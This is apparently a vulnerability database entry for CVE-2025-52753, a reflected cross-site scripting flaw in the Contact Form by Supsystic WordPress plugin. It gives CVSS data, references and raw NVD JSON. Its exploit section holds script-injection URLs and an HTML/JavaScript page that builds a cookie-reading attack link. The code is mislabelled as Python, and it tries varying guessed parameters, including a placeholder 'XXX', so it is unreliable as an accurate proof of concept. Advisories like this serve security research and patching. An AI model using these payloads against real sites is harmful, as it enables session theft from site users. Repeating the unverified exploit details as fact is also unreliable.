CVE-2025-52753

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in supsystic Contact Form by Supsystic contact-form-by-supsystic allows Reflected XSS.This issue affects Contact Form by Supsystic: from n/a through <= 1.7.36.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Contact Form by Supsystic <= 1.7.36

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-52753 PoC - Reflected XSS in Contact Form by Supsystic -->
<!-- Attack URL - Replace 'http://target.com' with the vulnerable site -->
<!--
http://target.com/?page=contact-form-by-supsystic&id=<script>alert(document.cookie)</script>
http://target.com/?page=contact-form-by-supsystic&cf_id=<img src=x onerror=alert('XSS')>
http://target.com/?page_id=XXX&contact_form_id=<svg/onload=alert(document.domain)>
-->

<!-- Example HTML PoC -->
<html>
<head>
    <title>CVE-2025-52753 PoC</title>
</head>
<body>
    <h1>CVE-2025-52753 Reflected XSS PoC</h1>
    <p>Click the link below to test the vulnerability:</p>
    <a href="http://target.com/wp-admin/admin.php?page=contact-form-by-supsystic&id=<script>alert(document.cookie)</script>" target="_blank">Trigger XSS</a>
    
    <script>
        // Generate malicious URL
        const baseUrl = window.location.origin + '/wp-admin/admin.php';
        const maliciousParam = '<script>alert(document.cookie)<\/script>';
        const maliciousUrl = `${baseUrl}?page=contact-form-by-supsystic&id=${encodeURIComponent(maliciousParam)}`;
        console.log('Malicious URL:', maliciousUrl);
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-52753
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-52753
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-52753/
[4] VulDB https://vuldb.com/cve/CVE-2025-52753
[5] https://patchstack.com/database/Wordpress/Plugin/contact-form-by-supsystic/vulnerability/wordpress-contact-form-by-supsystic-plugin-1-7-35-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-52753", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:45.190", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in supsystic Contact Form by Supsystic contact-form-by-supsystic allows Reflected XSS.This issue affects Contact Form by Supsystic: from n/a through <= 1.7.36."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/contact-form-by-supsystic/vulnerability/wordpress-contact-form-by-supsystic-plugin-1-7-35-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}